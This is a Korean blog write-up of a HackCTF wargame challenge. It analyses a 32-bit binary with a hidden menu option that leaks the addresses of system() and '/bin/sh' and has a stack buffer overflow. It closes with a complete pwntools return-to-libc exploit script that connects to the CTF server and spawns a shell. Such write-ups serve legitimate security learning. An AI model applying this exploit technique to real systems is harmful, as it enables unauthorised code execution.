문제 바이너리를 실행시키면 위와 같이 Segmentation fault가 떠서 nc 서버에 직접 접속하여 문제의 동작을 확인하였다.
문제에 접속하면 위와 같은 화면이 나오며 1~6번까지의 번호를 선택할 수 있다.
file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.
peda에서 checksec 명령으로 미티게이션을 확인해보면 nx가 걸려있다.
IDA로 문제 바이너리를 보면 다음과 같다.
main 함수를 보면 1번 선택시 바이너리에 적용된 미티게이션을 보여주고 있다.
2번 선택 시 Get_Money() 함수를 실행시키고 있다.
3번 선택 시 gold가 1999 이상이면 v6변수의 주소를 출력하는데, v6 변수의 주소는 system함수의 주소를 의미한다.
4번 선택시 gold가 2999 이상이면 s1의 주소를 출력하는데, s1의 주소는 "/bin/sh" 문자열의 위치를 의미한다.
이 두 값을 통해 문제 이름처럼 rtl 공격을 시도할 수 있을 것 같다.
5번 선택시 read 함수로 buf에 값을 입력받는데, buf의 크기는 128인데 그 이상의 값을 입력받으므로 bof가 발생한다.
Get_Money() 함수는 다음과 같다.
main() 함수에서 2번을 선택시 실행되는 함수로 보여지는 것은 3번 메뉴까지 있는것처럼 보여지지만 4를 입력시 hidden number 을 입력했다고 출력하며 gold에 v2 값을 추가한다. v2는 rand()함수의 값으로 매우 큰 난수를 반환한다.
따라서 이 문제를 해결하려면 main 함수에서 2번을 선택하고, 4번을 선택하여 gold 값을 키우고 그 값을 이용하여 main의 3,4번메뉴를 선택하여 system 함수의 주소와 "/bin/sh"의 주소를 구해 페이로드를 작성하여 5번 메뉴를 통해 페이로드를 전달하면 문제를 해결할 수 있을 것 같다.
작성한 익스 코드는 다음과 같다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3010)
# make money
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '4')
# get system
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
sys_addr = int(p.recv(10), 16)
# get shell
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell_addr = int(p.recv(10), 16)
# payload
pay = ''
pay += 'A' * 144
pay += p32(sys_addr)
pay += 'B' * 4
pay += p32(shell_addr)
p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] Random Key (0) | 2021.07.28 |
---|---|
[HackCTF] Poet (0) | 2021.07.27 |
[pwnable.kr] shellshock (0) | 2021.06.16 |
[pwnable.kr] input (0) | 2021.06.15 |
[HackCTF] BOF_PIE (0) | 2021.06.01 |